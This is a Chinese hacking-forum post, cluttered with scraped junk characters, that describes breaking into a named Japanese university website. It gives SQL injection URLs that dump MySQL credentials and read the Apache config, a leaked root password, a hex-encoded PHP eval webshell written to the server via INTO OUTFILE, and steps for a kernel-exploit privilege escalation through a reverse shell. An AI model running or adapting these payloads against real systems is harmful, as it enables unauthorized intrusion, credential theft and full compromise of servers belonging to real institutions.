入侵日本同志社大学技术分析3 a( D5 l7 q: C+ y- a" N
8 h( H2 D/ g5 R/ {2 J. t6 I+ qhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
( c$ y: M* H% I$ V) C# i然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:. M# e# O7 L( t
9 k4 \1 Q$ A3 q, I `; Z) ^ Vhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user( J. j x2 J7 X1 }( H9 H+ C
# T# p x* X. E) W 1 B# D( H7 {! a# \" @
1 T# w. J, t w$ J$ Z//@@datadir为数据库文件路径 8 W4 M' [- r" c# q; p
2 Q8 `7 a/ {0 V) g2 @, {/ `1 O
# u' @- U" B- W, T' Y/ y5 v//load_file读取网站容器apache的配置文件 $ h2 ^9 E0 J$ y
+ }4 S- h$ Q9 _1 t
1 J0 ~' [- v5 l8 \+ ]//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
/ t p' \$ Z- d& x% g复制代码
6 M+ p3 J, L i& h, P B3 C" J x9 i, p3 R
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。8 r G* g2 x" a T
+ A r U% x4 W0 N& g% z! A而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
! n0 ^$ [% w+ O2 q(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html): o9 g6 _3 F/ d- _% V; U
1 u. W3 M% Q% O: p* W$ W前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
( P5 d2 ^0 b h V, E0 p4 e如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
- e+ [5 |. N5 k- d
1 Z% G+ g! f9 e既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
8 B/ K P& k' j( e; t( C. n虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。1 W" t* O# t! u w
直接写一句话:
4 I2 J( a6 \# r4 e0 o; z9 ~5 R6 v& J1 x, c# J" C
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#' G+ d9 K- ]& O: n6 O [9 V
* K2 w# P _" m" C
. w, K- b! W4 E; }, y2 [) y8 ~. W' G& B! ?
//最后的#是为了闭合前面的语句
# L+ H/ F2 k/ w: c
0 o4 b7 n$ b/ ~( n# \* i' z5 a1 T: a( H, @0 d) O+ q: |1 w) x( }5 W
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
; N# e7 b% v: t1 x' m8 T, p , S) s: f7 i* L# i S9 n
+ p; }7 |% o2 e7 Z9 {
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
' Z" A( S8 \8 o
. Y9 x7 L5 l6 D N; y2 r9 m
# n; o3 O0 t6 O% j# H9 W, `//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 + w8 G5 p/ D" ^' e
4 R/ m" r) ?, G" k* M1 I
& q+ W1 U( r# j6 F% L ^' v* ]/ g+ g4 {//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
) q5 x4 j( r1 D//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ; i! a3 v- A$ ^. N
复制代码 d2 v9 d, Y: J; B! y+ @
" N3 J, G% K1 d: \/ E4 o3 e) Q0 tHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
5 D6 ^% ?5 M( j- d6 o通过上述注入语句,我们就得到了一句话木马:
/ a- E# r) n. ~: r3 Y& Y( j* l) z4 R1 T) u! k3 g: {
( ~, G6 u. ]% G
* f# u6 p3 W3 z
* ^, d' P9 ?; ~$ Z- A }" z7 @1 B
http://www.doshisha.ac.jp/english/engnews_img/aa.php
y4 G( J- c: X5 B: \, ]% E复制代码5 ~: f; p9 J7 j7 ]$ Q6 J
9 @ V% w: {4 x6 x) P1 q; G
用菜刀连接,密码是cmd,如图所示:
9 x+ o! Q# O- R3 v8 [2 J然后在命令提示行里看了一下,现在的权限是:: C- B& H' `! y+ {
% ]1 G7 ^7 t2 V; Y之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
s9 T' A$ d& e8 }; e; r; Z好在赋权给这个文件夹不需要root,直接执行赋权语句:9 i, e9 t; K! X& Y$ @
' m9 t3 p- ^$ z$ `. o- W0 x: F+ P
# U" f+ B0 o; b9 u
9 {% D" R6 {7 X+ f* q
1 f* V3 z. y, _$ J- s0 [9 g4 A7 |! f2 \2 E' q9 m( c8 B
chmod +x /tmp/
9 d6 l' U/ D) {0 o# ^( |. d2 H& U, d复制代码
/ s+ r, z# M6 t) O, g) \ w, l) g7 f6 h5 U
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行 p2 c7 q1 ]5 a' U% F) b& H0 M
然后就查了一下内核版本:. y0 @# C% r H. b8 ~! \
/ g2 K6 B, _0 M1 M( w3 E
& f5 k0 N. e- ^( u: W, G5 }/ T$ n; m7 W ]! z4 ?+ O& G) B
9 V5 J9 |3 x D' R( n$ E8 ^$ t! ?( O6 B* [5 _
uname-a
4 O, o9 u- H' |6 e& T8 e 8 I8 {$ v# ]" n- v1 m
, G1 S6 A! l" \9 \& x" {
//其实lsb_release -a 3 T4 c) a7 p& j1 V2 j3 ]
复制代码
/ ~& r5 h% z7 r. z5 U9 A" i5 @
( D+ ^3 f' N4 D- \0 P如图所示:
( r& L2 m4 j' D- x: s9 ^. s* a) z" W2 N+ R2 M" x
内核版本:linux mainz1 2.6.28-194.e15# p$ j: s& A0 i
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)8 Z! }: e1 [! g: n
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
6 S% g3 n- N+ ]! L' u9 Z: y: K8 X5 j
然后给予执行权限) f4 D6 X/ s8 i8 |/ X, [
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样* |+ x% R) {) }
1 U7 l M, m$ E" q3 w) q1 R
8 i, F' O4 f3 t
4 B- X. X2 [ c! E% e7 ~
K" z% ^# C: ~' {3 A7 B/ j! G- U/ e
8 s8 C1 r% H6 W8 {chmod +x /tmp/2.6.18-194
. @" G2 k% Q7 F* c, h7 Z G复制代码 然后直接执行!~
' E- l* ~7 I9 r' @: G- R c
; @- N; j( c' n/ `# [总结:
; X( _0 S; C4 u9 |- a这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
. J. z5 @0 a w1 N5 Q) E提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
9 r' {9 Y$ |3 l9 M) k9 g( M0 r
0 s, t# I+ A4 q/ d4 \, K9 b/ m% B |